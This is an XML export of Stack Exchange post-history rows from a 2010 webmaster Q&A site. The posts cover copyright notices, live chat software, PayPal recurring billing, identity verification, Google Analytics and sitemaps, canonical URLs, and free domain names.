  <row Id="8109" PostHistoryTypeId="2" PostId="4112" RevisionGUID="23925011-564b-44ca-8519-0fa2e114ffc2" CreationDate="2010-10-20T10:55:15.047" UserId="2379" Text="You should have a copyright and ip policy on your site.  You should also have a media kit and media contact where if someone wants to share an article, artwork, or text from yoru site they can contact you.&#xD;&#xA;&#xD;&#xA;Having a copyright policy ensures your visitors, participants, partners, users, etc know your stance on what is shared, and what is not.&#xD;&#xA;&#xD;&#xA;Take a look at the copyright policy here.&#xD;&#xA;&#xD;&#xA;Also copyright policy is a cool way to tell your visitors you have been in business from 1997-2010" />
  <row Id="8110" PostHistoryTypeId="2" PostId="4113" RevisionGUID="f9cd908e-6a9a-4f0f-9ca3-4f2bb31d32c6" CreationDate="2010-10-20T10:57:40.877" UserId="2379" Text="Facebook like Olark&#xD;&#xA;closes you can get to your requirements plus their service is amazing.&#xD;&#xA;&#xD;&#xA;Best solution&#xD;&#xA;LiveZIlla.  Pure JS html. Customizable.  FREE.  Powerful client software.  Chat history, live co-browsing and so much more.  I have nothing but positive things to say about live zilla. &#xD;&#xA;&#xD;&#xA;http://www.livezilla.net/home/en/" />
  <row Id="8111" PostHistoryTypeId="2" PostId="4114" RevisionGUID="60fed77c-aaeb-4bbb-91b9-b646a8887006" CreationDate="2010-10-20T10:58:46.790" UserId="2379" Text="Netcraft will let you know what a site is running... thats a good place to do some research..&#xD;&#xA;" />
  <row Id="8112" PostHistoryTypeId="2" PostId="4115" RevisionGUID="b3dd4a8e-080e-4e4c-85af-7f5086e84867" CreationDate="2010-10-20T11:03:50.950" UserId="2379" Text="Paypal has two systems&#xD;&#xA;Paypal Subscritpions and Paypal ARB (automatic recurring billing)&#xD;&#xA;&#xD;&#xA;I would recommond not using them.  Its a pain to develop with both platforms and you will have to.  Paypal subscriptions is free (per trans fees), but your customers are going to paypal to make the subscription.  Then you have to create an IPN (instant payment notification script) to handle subscriber payments.  Paypal ARB lets customer pay on your site with a real merchant account, but requires that you offer paypal subscriptions to qualify for decent rates.&#xD;&#xA;&#xD;&#xA;If its a legitmate product that will expect decent revenue i would:&#xD;&#xA;1. Get a real merchant account..  FLAGSHIP Merchants are awesome. &#xD;&#xA;2. Build an app that manages subscribers in a database&#xD;&#xA;3. Run transacitons monthly thorugh authorize.net recurring biling profiles or though an online invoiceing service such as FreshBooks.&#xD;&#xA;4. Use twilio for programming SMS (ifbyphone.com is a good resource too)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8113" PostHistoryTypeId="5" PostId="4097" RevisionGUID="8bb07579-d247-44d0-bed0-49d75b77db90" CreationDate="2010-10-20T11:29:44.873" UserId="2288" Comment="added 56 characters in body" Text="**Examples of website templates being:** &#xD;&#xA;&#xD;&#xA; - [templatemonster.com][1]&#xD;&#xA; - [websitetemplates.com][2]&#xD;&#xA; - [buytemplates.net][3]&#xD;&#xA; - [designload.net][4]&#xD;&#xA; - [templaterover.com][5]&#xD;&#xA; - [boxedart.com][6]&#xD;&#xA; - [pixelmill.com][7]&#xD;&#xA; - [templateworld.com][8]&#xD;&#xA; - [themeforest.net][9]&#xD;&#xA;&#xD;&#xA;**(If there's a popular source I'm missing, please comment. Thanks!)**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://templatemonster.com&#xD;&#xA;  [2]: http://websitetemplates.com&#xD;&#xA;  [3]: http://buytemplates.net&#xD;&#xA;  [4]: http://designload.net&#xD;&#xA;  [5]: http://templaterover.com&#xD;&#xA;  [6]: http://boxedart.com&#xD;&#xA;  [7]: http://pixelmill.com&#xD;&#xA;  [8]: http://templateworld.com&#xD;&#xA;  [9]: http://themeforest.net" />
  <row Id="8115" PostHistoryTypeId="2" PostId="4116" RevisionGUID="d8322498-f475-4fc1-8f47-2de661c4c002" CreationDate="2010-10-20T12:36:25.130" UserId="1243" Text="Or even,&#xD;&#xA;&#xD;&#xA;&gt; Copyright © &quot;COMPANY&quot;, 2010.&#xD;&#xA;&#xD;&#xA;I realise most people update the date in the copyright notice to reflect the current year (which is easy to do on a dynamic webpage) and this does seem to be accepted usage. However, I have always been under the impression that strictly speaking this should be the date/year the document was initially created (which is how it works with printed material). Only if the document is sufficiently updated at a later time should the year of copyright be updated.&#xD;&#xA;&#xD;&#xA;Copyright does not expire at the end of the year, so a document that states &quot;Copyright &amp;copy; 1997&quot; is still under copyright in 2010.&#xD;&#xA;" />
  <row Id="8119" PostHistoryTypeId="2" PostId="4118" RevisionGUID="eef00987-7c16-46b0-b5c1-50efc9f59625" CreationDate="2010-10-20T14:50:38.653" UserId="2276" Text="found it...&#xD;&#xA;i anyone else has the same problem, the solution is min-width and min-height..." />
  <row Id="8125" PostHistoryTypeId="2" PostId="4120" RevisionGUID="8cfb89f4-e439-43bc-827f-b280417eb772" CreationDate="2010-10-20T15:04:07.820" UserId="2570" Text="I am trying to use Google In-Page Analytics.  The rest of Google Analytics seems to work correctly on my site, but when I go to the new In-page analytics, I get no click appearing.  I just get an error saying &quot;There are no pageviews recorded for this page. Try adjusting the date range or select an alternate page.&quot;  To the left in the content details it tells the number of page views.  &#xD;&#xA;&#xD;&#xA;Do I need to setup something special for In-Page anayltics to work?" />
  <row Id="8126" PostHistoryTypeId="1" PostId="4120" RevisionGUID="8cfb89f4-e439-43bc-827f-b280417eb772" CreationDate="2010-10-20T15:04:07.820" UserId="2570" Text="In-page Google Analytics giving no page views recorded " />
  <row Id="8127" PostHistoryTypeId="3" PostId="4120" RevisionGUID="8cfb89f4-e439-43bc-827f-b280417eb772" CreationDate="2010-10-20T15:04:07.820" UserId="2570" Text="&lt;google-analytics&gt;" />
  <row Id="8128" PostHistoryTypeId="2" PostId="4121" RevisionGUID="6dc845d2-c9b3-475d-8050-e69846522b8c" CreationDate="2010-10-20T15:07:32.310" UserId="2288" Text="Looking for a way to confirm user supplied names without asking for a creditcard number.&#xD;&#xA;&#xD;&#xA;**Requirements:**&#xD;&#xA;&#xD;&#xA; - Method must be automated, and not&#xD;&#xA;   require manual processing, &#xD;&#xA; - Work 80% of the time or more.&#xD;&#xA; - Be &quot;free&quot; Not require PII such as SSN, driver license number.&#xD;&#xA;&#xD;&#xA;For example, doing a cross-reference on phone number to phonebook records would work, problem is that not every number is listed." />
  <row Id="8129" PostHistoryTypeId="1" PostId="4121" RevisionGUID="6dc845d2-c9b3-475d-8050-e69846522b8c" CreationDate="2010-10-20T15:07:32.310" UserId="2288" Text="Is it possible to confirm a persons name without a creditcard number?" />
  <row Id="8130" PostHistoryTypeId="3" PostId="4121" RevisionGUID="6dc845d2-c9b3-475d-8050-e69846522b8c" CreationDate="2010-10-20T15:07:32.310" UserId="2288" Text="&lt;validation&gt;" />
  <row Id="8131" PostHistoryTypeId="2" PostId="4122" RevisionGUID="b5275347-a376-4ae2-bce7-69b7d3fc977c" CreationDate="2010-10-20T15:23:31.327" UserId="89" Text="In general, on the web with an international audience I think it can't be done, I'm not even sure you can do with a credit card number.&#xD;&#xA;&#xD;&#xA;As I see it, you have two choices (and because you didn't give any background information I have no idea if they are relevant for you):&#xD;&#xA;&#xD;&#xA;1. Limit your potential audience to a small group you have information on (example: if you're only targeting students of one college and you have good relationship with the college administration they can give you the student list to compere to).&#xD;&#xA;&#xD;&#xA;2. Restructure you project so you don't need to verify the person's name, (example: use phone number as your verified id instead - send text message with code that the user has to enter into the site to prove access to the phone).&#xD;&#xA;&#xD;&#xA;Also, verifying the name may fail because a name has several possible spellings (my name does) or for all sort of strange reasons [You should really read this for some good examples](http://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/)" />
  <row Id="8132" PostHistoryTypeId="5" PostId="4121" RevisionGUID="daf22624-041f-48d8-bf99-e11cdd215163" CreationDate="2010-10-20T15:24:17.667" UserId="2288" Comment="added 32 characters in body" Text="Looking for a way to confirm user supplied names without asking for a creditcard number.&#xD;&#xA;&#xD;&#xA;**Requirements:**&#xD;&#xA;&#xD;&#xA; - Method must be automated, and not&#xD;&#xA;   require manual processing, &#xD;&#xA; - Work 80% of the time or more.&#xD;&#xA; - Be &quot;free&quot; Not require personally identifiable information such as SSN, driver license number.&#xD;&#xA;&#xD;&#xA;For example, doing a cross-reference on phone number to phonebook records would work, problem is that not every number is listed." />
  <row Id="8133" PostHistoryTypeId="2" PostId="4123" RevisionGUID="31e65d8f-f948-471e-a138-6594cf1a1978" CreationDate="2010-10-20T15:48:42.150" UserId="108" Text="There is no way to do it for free.  There are non-free ways of doing it but they aren't cheap, in the US they require birth date and SSN, and outside the US you get a hodge podge of solutions.&#xD;&#xA;&#xD;&#xA;If you decide you want to spend the money check out [Lexis Nexis][1], they are one of the premier online identification services and they have solutions for a number of countries outside of the US but it gets very complex.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lexis.com" />
  <row Id="8134" PostHistoryTypeId="2" PostId="4124" RevisionGUID="23780503-09ff-40d6-84bd-9581b14368f3" CreationDate="2010-10-20T16:00:58.553" UserId="1064" Text="Have you waited at least 24 hours?&#xD;&#xA;&#xD;&#xA;Google Analytics can take up to a day (sometimes a *little* longer) to parse all of your information." />
  <row Id="8135" PostHistoryTypeId="2" PostId="4125" RevisionGUID="15aaedc5-916f-47c3-842b-d43fc6aa4c09" CreationDate="2010-10-20T16:06:53.807" UserId="908" Text="I'm using Drupal with search engine friendly URLs. The way Drupal works is that there's two ways to reference a node with SEF URLS switched on:&#xD;&#xA;&#xD;&#xA;1. The SEF way, eg. http://example.com/blog/the-answer-to-life&#xD;&#xA;1. Via the node ID, eg. http://example.com/node/42&#xD;&#xA;&#xD;&#xA;(The second form issues a 301 to the first.)&#xD;&#xA;&#xD;&#xA;The first path can be changed quickly and easily, the second is fixed (for the lifetime of the site or node). I'm not suggesting it's a good idea for websites to change their paths on a regular basis, but it's something that might happen, so it occurred to me that I could use the second form as a canonical URL, and that would mean that the same page would be always correctly indexed, and would always retain its Page Rank etc.&#xD;&#xA;&#xD;&#xA;Could folk help list the pros and cons of such an approach?" />
  <row Id="8136" PostHistoryTypeId="1" PostId="4125" RevisionGUID="15aaedc5-916f-47c3-842b-d43fc6aa4c09" CreationDate="2010-10-20T16:06:53.807" UserId="908" Text="Should a canonical URL be search engine friendly?" />
  <row Id="8137" PostHistoryTypeId="3" PostId="4125" RevisionGUID="15aaedc5-916f-47c3-842b-d43fc6aa4c09" CreationDate="2010-10-20T16:06:53.807" UserId="908" Text="&lt;seo&gt;&lt;canonical-url&gt;" />
  <row Id="8138" PostHistoryTypeId="4" PostId="4121" RevisionGUID="7563c883-b5d5-441a-9427-c2e6d01b48f8" CreationDate="2010-10-20T16:15:40.643" UserId="2288" Comment="edited title" Text="Is it possible to confirm a person's name without a creditcard number?" />
  <row Id="8139" PostHistoryTypeId="2" PostId="4126" RevisionGUID="81a8a0bb-81cc-41f5-af8c-25248d1fd54b" CreationDate="2010-10-20T16:59:01.930" UserId="1429" Text="Strictly [according to US law][1] the **form of the copyright notice** shall consist of the following three elements:&#xD;&#xA;&#xD;&#xA;&gt; 1. the symbol © (the letter C in a circle), or the word “Copyright”, or&#xD;&#xA;&gt; the abbreviation “Copr.”; and&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2. the year of first publication of the work; in the case of compilations&#xD;&#xA;&gt; or derivative works incorporating&#xD;&#xA;&gt; previously published material, the&#xD;&#xA;&gt; year date of first publication of the&#xD;&#xA;&gt; compilation or derivative work is&#xD;&#xA;&gt; sufficient. The year date may be&#xD;&#xA;&gt; omitted where a pictorial, graphic, or&#xD;&#xA;&gt; sculptural work, with accompanying&#xD;&#xA;&gt; text matter, if any, is reproduced in&#xD;&#xA;&gt; or on greeting cards, postcards,&#xD;&#xA;&gt; stationery, jewelry, dolls, toys, or&#xD;&#xA;&gt; any useful articles; and&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3. the name of the owner of copyright in the work, or an abbreviation by&#xD;&#xA;&gt; which the name can be recognized, or a&#xD;&#xA;&gt; generally known alternative&#xD;&#xA;&gt; designation of the owner.&#xD;&#xA;&#xD;&#xA;No mention about the order **therefor you can write them in the order you like** as long as you place 1, 2, and 3.&#xD;&#xA;&#xD;&#xA;I sometime use *Copyright 2010 Marco Demaio*, other times *&amp;copy; MARCO DEMAIO 2010* depending on what I like most (the way they look changes based on fonts you choose).&#xD;&#xA;&#xD;&#xA;Regarding your other question GPLv3, yes you could place a copyright notice (you don't have to if you don't want).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.copyright.gov/title17/92chap4.html#401" />
  <row Id="8140" PostHistoryTypeId="2" PostId="4127" RevisionGUID="1f19b492-758e-4e69-bea0-abb41f27738c" CreationDate="2010-10-20T18:07:01.377" UserId="2288" Text="MAC address = Media Access Control address&#xD;&#xA;&#xD;&#xA;Believe I saw that this was possible somewhere, but now that I'm looking for it I can't find the implementation." />
  <row Id="8141" PostHistoryTypeId="1" PostId="4127" RevisionGUID="1f19b492-758e-4e69-bea0-abb41f27738c" CreationDate="2010-10-20T18:07:01.377" UserId="2288" Text="Is JavaScript or Flash able to extract the MAC address from a browser?" />
  <row Id="8142" PostHistoryTypeId="3" PostId="4127" RevisionGUID="1f19b492-758e-4e69-bea0-abb41f27738c" CreationDate="2010-10-20T18:07:01.377" UserId="2288" Text="&lt;javascript&gt;&lt;flash&gt;&lt;validation&gt;&lt;users&gt;" />
  <row Id="8143" PostHistoryTypeId="2" PostId="4128" RevisionGUID="c9cfff30-c902-40b8-b751-ec4bc875b597" CreationDate="2010-10-20T18:13:08.247" UserId="2551" Text="I really think this would be a security issue if you can see it with JS or Flash. Actually, neither JS or Flash shouldn't offer access to any details of the user's PC except some very basic data about the OS, browser, screen resolution and such, things that you would actually need quite often. Who knows, might be possible with IE6 :D" />
  <row Id="8144" PostHistoryTypeId="2" PostId="4129" RevisionGUID="f498886b-d8fa-4995-87c3-d7e1413f70d6" CreationDate="2010-10-20T18:21:32.357" UserId="767" Text="My understanding is that words within the URL that match search terms are considered &quot;good quality&quot; matches.&#xD;&#xA;&#xD;&#xA;I certainly see lots of matches based on URL when I go searching for technology specific answers involving Jargon.&#xD;&#xA;&#xD;&#xA;By using the node id link instead of a content-based URL, I think you'll match less well, if only marginally. But, I have no references to back up my understanding." />
  <row Id="8145" PostHistoryTypeId="2" PostId="4130" RevisionGUID="466ccf89-d352-4a66-9875-97f4ee93b42f" CreationDate="2010-10-20T18:25:41.770" UserId="2288" Text="Here's an example, although not a good one from [Craigslist][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.craigslist.org/2008/03/phone-verification-in-erotic-services/" />
  <row Id="8146" PostHistoryTypeId="1" PostId="4130" RevisionGUID="466ccf89-d352-4a66-9875-97f4ee93b42f" CreationDate="2010-10-20T18:25:41.770" UserId="2288" Text="Need stats on the effectiveness of user verification systems on fraud, abuse and/or compliance?" />
  <row Id="8147" PostHistoryTypeId="3" PostId="4130" RevisionGUID="466ccf89-d352-4a66-9875-97f4ee93b42f" CreationDate="2010-10-20T18:25:41.770" UserId="2288" Text="&lt;authentication&gt;&lt;research&gt;&lt;users&gt;" />
  <row Id="8148" PostHistoryTypeId="2" PostId="4131" RevisionGUID="6b484319-5690-4e61-b5d8-7cfbe9ff253f" CreationDate="2010-10-20T18:53:46.317" UserId="108" Text="The MAC address is definitely not something you can get through a web portal unless a bug exists.  &#xD;&#xA;&#xD;&#xA;If you can get someones MAC address you can change you own through some hardware/software tricks and thus make your computer look like theirs which is a very bad thing for security!" />
  <row Id="8149" PostHistoryTypeId="2" PostId="4132" RevisionGUID="f4c587ec-5337-4ff0-8585-fcb429c7d08b" CreationDate="2010-10-20T19:25:06.970" UserId="108" Text="Everything Bevan said is true.&#xD;&#xA;&#xD;&#xA;Your best bet is to use 301 redirects from the old URL to the new one just like Drupal does with the note ID to the SEF url." />
  <row Id="8150" PostHistoryTypeId="2" PostId="4133" RevisionGUID="c99dde87-f9e0-446d-861e-4f8cdaff9a56" CreationDate="2010-10-20T19:28:51.800" UserId="2288" Text="Meaning: doc-type, header, body, etc." />
  <row Id="8151" PostHistoryTypeId="1" PostId="4133" RevisionGUID="c99dde87-f9e0-446d-861e-4f8cdaff9a56" CreationDate="2010-10-20T19:28:51.800" UserId="2288" Text="What is the default HTML document you use, and why?" />
  <row Id="8152" PostHistoryTypeId="3" PostId="4133" RevisionGUID="c99dde87-f9e0-446d-861e-4f8cdaff9a56" CreationDate="2010-10-20T19:28:51.800" UserId="2288" Text="&lt;html&gt;&lt;standards&gt;" />
  <row Id="8153" PostHistoryTypeId="16" PostId="4025" RevisionGUID="3c463527-f289-4123-8140-624e2120b090" CreationDate="2010-10-20T19:35:13.950" UserId="180" />
  <row Id="8154" PostHistoryTypeId="2" PostId="4134" RevisionGUID="e3aff782-dc34-4fd8-8253-896bab653998" CreationDate="2010-10-20T19:35:26.233" UserId="108" Text="There are numerous ways to do reduce fraud, abuse, and increase compliance.  Trying to get stats on all or most of them will be very difficult.  Especially because many companies that use systems to reduce fraud either did it from the beginning or won't release numbers because of data security and risk of a back-lash for the numbers being worse that the public though.&#xD;&#xA;&#xD;&#xA;If you are trying to find a solution for a specific case, the best bet is to go through all of your options and logic out which one deters the most fraudulent people for the best cost and implement that option or set of options.&#xD;&#xA;&#xD;&#xA;I will say from experience that no system is going to be 100%.  We used Lexis Nexis and 2 factor authentication at my previous job and we still had a handful of fraud case a month.&#xD;&#xA;&#xD;&#xA;Finally, there is a difference between reducing illegitimate use of your system such as what Craigslist did and decreasing cases of fraud.  Specifically, fraud is usually always low in volume but once people find a weakness in your system they will attack it repeatedly.  Whereas Craigslist had an issue with people abusing the system in a way that wasn't necessarily illegal in itself but was looked on poorly by the general public." />
  <row Id="8155" PostHistoryTypeId="2" PostId="4135" RevisionGUID="5fe56342-28ce-40ce-84fc-f5696f4a2e99" CreationDate="2010-10-20T19:36:24.453" UserId="108" Text="I use xhtml 1.0 transitional because it is flexible, does what I need, and is relatively up to date." />
  <row Id="8156" PostHistoryTypeId="16" PostId="4133" RevisionGUID="f72ada90-729d-4b75-b46d-6f3ed86a9623" CreationDate="2010-10-20T19:36:58.070" UserId="108" />
  <row Id="8158" PostHistoryTypeId="2" PostId="4137" RevisionGUID="f11d148d-e051-4b95-b49f-3f2bee8b23b8" CreationDate="2010-10-20T19:41:20.253" UserDisplayName="rosh" Text="In your experience have you witnessed loss of google rankings for the majority or website redesigns? &#xD;&#xA;I am looking to get my site redesigned and potentially a new cms but I'm totally put off by cases of sites going into oblivion after a redesign. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="8159" PostHistoryTypeId="2" PostId="4138" RevisionGUID="e93f34e2-5c2d-429e-b376-a26a5c51e944" CreationDate="2010-10-20T20:09:31.503" UserDisplayName="user2589" Text="I have a domain that looks like `domain.com`&#xD;&#xA;on the server files look like:&#xD;&#xA;&#xD;&#xA;    &lt;www&gt;&#xD;&#xA;     &lt;mydirectory&gt;&#xD;&#xA;     &lt;otherstuff&gt;&#xD;&#xA;     &lt;asubdomain&gt;&#xD;&#xA;     index.html&#xD;&#xA;     .htaccess&#xD;&#xA;&#xD;&#xA;ok, so when you open the site, it will display `index.html`.&#xD;&#xA;my question is, how can I make it so it displays `mydirectory/index.php`, without affecting the scripts inside that directory (it's wordpress btw) ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8160" PostHistoryTypeId="1" PostId="4138" RevisionGUID="e93f34e2-5c2d-429e-b376-a26a5c51e944" CreationDate="2010-10-20T20:09:31.503" UserDisplayName="user2589" Text="show content on domain.com from a sub directory" />
  <row Id="8161" PostHistoryTypeId="3" PostId="4138" RevisionGUID="e93f34e2-5c2d-429e-b376-a26a5c51e944" CreationDate="2010-10-20T20:09:31.503" UserDisplayName="user2589" Text="&lt;domains&gt;&lt;php&gt;&lt;apache&gt;&lt;subdomain&gt;&lt;directory&gt;" />
  <row Id="8162" PostHistoryTypeId="2" PostId="4139" RevisionGUID="ddeb30f6-6d4c-446a-979c-6bd25cbf2ec9" CreationDate="2010-10-20T20:06:47.500" UserDisplayName="Bazlur Rahman Rokon" Text="I want to get a free domain name not hosting space. Simply where can I get it ? I got several site like freehostia.com. They only offer free hosting but not domain name. So is there any way to get free domain name?" />
  <row Id="8163" PostHistoryTypeId="1" PostId="4139" RevisionGUID="ddeb30f6-6d4c-446a-979c-6bd25cbf2ec9" CreationDate="2010-10-20T20:06:47.500" UserDisplayName="Bazlur Rahman Rokon" Text="how can I get a free domain name?" />
  <row Id="8164" PostHistoryTypeId="3" PostId="4139" RevisionGUID="ddeb30f6-6d4c-446a-979c-6bd25cbf2ec9" CreationDate="2010-10-20T20:06:47.500" UserDisplayName="Bazlur Rahman Rokon" Text="&lt;domains&gt;&lt;free&gt;&lt;name&gt;" />
  <row Id="8165" PostHistoryTypeId="17" PostId="4139" RevisionGUID="c64cd7fb-f656-47d6-85e3-28b14b0ed888" CreationDate="2010-10-20T20:10:43.833" UserId="-1" Comment="from http://stackoverflow.com/questions/3981840/how-can-i-get-a-free-domain-name" Text="" />
  <row Id="8166" PostHistoryTypeId="2" PostId="4140" RevisionGUID="2ef790d7-8e61-4142-8388-acf7d541522e" CreationDate="2010-10-20T20:37:19.090" UserId="138" Text="You can get a free *subdomain* from http://freedns.afraid.org/ - but a domain name is a valuable thing, nobody's going to start giving them away for free." />
  <row Id="8167" PostHistoryTypeId="2" PostId="4141" RevisionGUID="185d0151-d970-4c15-9dcd-29c90bf76ef5" CreationDate="2010-10-20T20:38:36.130" UserId="2209" Text="Create a rule in your .htaccess file to handle it." />
  <row Id="8168" PostHistoryTypeId="2" PostId="4142" RevisionGUID="955e356e-4d6c-4568-b54b-5e197a063b3f" CreationDate="2010-10-20T20:39:15.223" UserId="2552" Text="There are a few services out there that let you get a free subdomain attached to their FQD(fully qualified domain). One service I know of with a relatively short URL is:&#xD;&#xA;http://www.freedomain.co.nr/&#xD;&#xA;they do throw some AD's on your page referencing their service, but this lets you get a free &quot;domain&quot;.&#xD;&#xA;&#xD;&#xA;Hope that helps!" />
  <row Id="8169" PostHistoryTypeId="5" PostId="4141" RevisionGUID="e5fad62d-6fda-4575-97c1-5cb082c3fc56" CreationDate="2010-10-20T20:47:16.780" UserId="2209" Comment="added 106 characters in body" Text="Create a rule in your .htaccess file to handle it. This may help out http://perishablepress.com/press/2008/10/06/redirect-subdirectory-to-root-via-htaccess/" />
  <row Id="8170" PostHistoryTypeId="6" PostId="4099" RevisionGUID="52b613d3-f295-4ce1-a929-8ecc33df8baa" CreationDate="2010-10-20T20:56:48.643" UserId="2574" Comment="edited tags" Text="&lt;legal&gt;&lt;copyright&gt;" />
  <row Id="8171" PostHistoryTypeId="2" PostId="4143" RevisionGUID="5d848ff2-3878-449b-bb2a-e0b4a0e8e0ce" CreationDate="2010-10-20T21:18:52.240" UserId="2209" Text="Usually in order to get a free domain name from someone like Godaddy or Hostek you would have to sign up for some kind of hosting package and that's not guaranteed all the time only with special offers or whatever the terms maybe at the time. You could try www.000webhost.com for a free subdomain name instead." />
  <row Id="8172" PostHistoryTypeId="16" PostId="4135" RevisionGUID="04c85034-e093-4585-b49d-a99fd022e2ad" CreationDate="2010-10-20T21:36:06.770" UserId="108" />
  <row Id="8173" PostHistoryTypeId="2" PostId="4144" RevisionGUID="ab57abad-822f-4840-af01-ffc714abd380" CreationDate="2010-10-20T20:01:14.967" UserDisplayName="78lro" Text="Can anyone suggest a good tool for helping us decide on some long tail terms for using as google adwords?&#xD;&#xA;&#xD;&#xA;All the best" />
  <row Id="8174" PostHistoryTypeId="1" PostId="4144" RevisionGUID="ab57abad-822f-4840-af01-ffc714abd380" CreationDate="2010-10-20T20:01:14.967" UserDisplayName="78lro" Text="Choosing seo long tail google adwords" />
  <row Id="8175" PostHistoryTypeId="3" PostId="4144" RevisionGUID="ab57abad-822f-4840-af01-ffc714abd380" CreationDate="2010-10-20T20:01:14.967" UserDisplayName="78lro" Text="&lt;google&gt;&lt;seo&gt;&lt;long&gt;&lt;tail&gt;&lt;adwords&gt;" />
  <row Id="8176" PostHistoryTypeId="17" PostId="4144" RevisionGUID="67714671-f339-48fb-88ca-6d59b1c7339b" CreationDate="2010-10-20T21:41:06.260" UserId="-1" Comment="from http://stackoverflow.com/questions/3981794/choosing-seo-long-tail-google-adwords" Text="" />
  <row Id="8177" PostHistoryTypeId="2" PostId="4145" RevisionGUID="9b25579a-f5ab-49a7-b686-6e6dd0d651c2" CreationDate="2010-10-20T21:41:35.697" UserId="239" Text="![alt text][1]&#xD;&#xA;&#xD;&#xA;The crawl report shows this:&#xD;&#xA;&quot;HTTP ‎(1)‎ In Sitemaps ‎(5)‎ Not found ‎(993)‎ Restricted by robots.txt ‎(487,544)‎&quot;&#xD;&#xA;&#xD;&#xA;So the discrepancy between 50,000 and 44,592 isn't coming from that.  Are there any obvious reasons?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/vZehp.png" />
  <row Id="8178" PostHistoryTypeId="1" PostId="4145" RevisionGUID="9b25579a-f5ab-49a7-b686-6e6dd0d651c2" CreationDate="2010-10-20T21:41:35.697" UserId="239" Text="Why is there a difference between urls submitted to a sitemap and urls in the google index?" />
  <row Id="8179" PostHistoryTypeId="3" PostId="4145" RevisionGUID="9b25579a-f5ab-49a7-b686-6e6dd0d651c2" CreationDate="2010-10-20T21:41:35.697" UserId="239" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="8180" PostHistoryTypeId="5" PostId="3411" RevisionGUID="7d2ea254-1419-4ab0-9a87-206ef667c01c" CreationDate="2010-10-20T21:57:01.750" UserId="1243" Comment="added 324 characters in body" Text="May be one of the services that copyscape.com offer can help?&#xD;&#xA;&#xD;&#xA;&gt; _Copysentry_ protects your site against&#xD;&#xA;&gt; content theft by monitoring the web&#xD;&#xA;&gt; daily or weekly for copies of your&#xD;&#xA;&gt; content and sending you email when new&#xD;&#xA;&gt; copies appear.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Copysentry's advanced features include&#xD;&#xA;&gt; case tracking and follow-up and a&#xD;&#xA;&gt; browser for viewing previous results.&#xD;&#xA;&#xD;&#xA;However, this is not a free service.&#xD;&#xA;&#xD;&#xA;**EDIT:** If in the UK then also check out: http://www.copyrightservice.co.uk/&#xD;&#xA;&#xD;&#xA;&gt; Copyright registration with the UK&#xD;&#xA;&gt; Copyright Service is the fast,&#xD;&#xA;&gt; effective and low cost way to protect&#xD;&#xA;&gt; your work from infringement and misuse&#xD;&#xA;&gt; - ensuring you always have the best evidence to protect your work and your&#xD;&#xA;&gt; rights." />
  <row Id="8181" PostHistoryTypeId="2" PostId="4146" RevisionGUID="8e8cf344-72af-4019-9c40-0a05cc8db18c" CreationDate="2010-10-20T22:01:37.803" UserId="1243" Text="I think it is simply that Google does not necessarily index all the URLs submitted. The submitted sitemap is advisory, it is then up to the Search Engines to determine whether those URLs should be (or are worthy to be) indexed." />
  <row Id="8182" PostHistoryTypeId="5" PostId="4146" RevisionGUID="4eb4f7e7-dbad-4d78-952a-db337a50d16f" CreationDate="2010-10-20T22:09:56.013" UserId="1243" Comment="added 158 characters in body" Text="I think it is simply that Google does not necessarily index all the URLs submitted. The submitted sitemap is advisory, it is then up to the Search Engines to determine whether those URLs should be (or are worthy to be) indexed.&#xD;&#xA;&#xD;&#xA;Or, may be Google just hasn't gotten round to checking/indexing those other pages yet? By look of your screenshot you only submitted the Sitemap _today_?!" />
  <row Id="8183" PostHistoryTypeId="6" PostId="4144" RevisionGUID="a91d50a4-8f21-4a46-9c73-ebeffe7e9597" CreationDate="2010-10-20T22:23:22.250" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;adwords&gt;" />
  <row Id="8184" PostHistoryTypeId="2" PostId="4147" RevisionGUID="2fc2bb4c-6322-4f75-8cee-dc56f1d8b19c" CreationDate="2010-10-20T22:24:51.860" UserId="2279" Text="Try these:&#xD;&#xA;&#xD;&#xA;[Google Search Based Keyword Tool][1]&#xD;&#xA;&#xD;&#xA;[Google Adwords Keyword Tool][2]&#xD;&#xA;&#xD;&#xA;Just to keep things balanced and offer a non-Google alternative you may also want to look at:&#xD;&#xA;&#xD;&#xA;[SEM Rush][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/sktool&#xD;&#xA;  [2]: https://adwords.google.com/select/KeywordToolExternal&#xD;&#xA;  [3]: http://www.semrush.com/" />
  <row Id="8185" PostHistoryTypeId="5" PostId="4116" RevisionGUID="b81946b9-45ac-47ce-9370-e0603003dafe" CreationDate="2010-10-20T22:30:32.730" UserId="1243" Comment="added 421 characters in body; added 135 characters in body" Text="Or even,&#xD;&#xA;&#xD;&#xA;&gt; Copyright © &quot;COMPANY&quot;, 2010.&#xD;&#xA;&#xD;&#xA;I realise most people update the date in the copyright notice to reflect the current year (which is easy to do on a dynamic webpage) and this does seem to be accepted usage. However, I have always been under the impression that strictly speaking this should be the date/year the document was initially created (which is how it works with printed material). Only if the document is sufficiently updated at a later time should the year of copyright be updated.&#xD;&#xA;&#xD;&#xA;Copyright does not expire at the end of the year, so a document that states &quot;Copyright &amp;copy; 1997&quot; is still under copyright in 2010.&#xD;&#xA;&#xD;&#xA;**EDIT:** For information regarding the formal use of copyright notices in the UK, see: http://www.copyrightservice.co.uk/copyright/p03_copyright_notices&#xD;&#xA;&#xD;&#xA;Interesting to note that:&#xD;&#xA;&gt; Some countries will not accept the symbol alone, they also require the word Copyright to appear in order to consider the notice valid. Using the word ensures that there can be no confusion.  &#xD;&#xA;:  &#xD;&#xA;eg. Copyright © 2004 Bobby Smith.&#xD;&#xA;&#xD;&#xA;Which in some ways conflicts with what @Marco has quoted above regarding US Law. Either the symbol OR the word, not necessarily both?" />
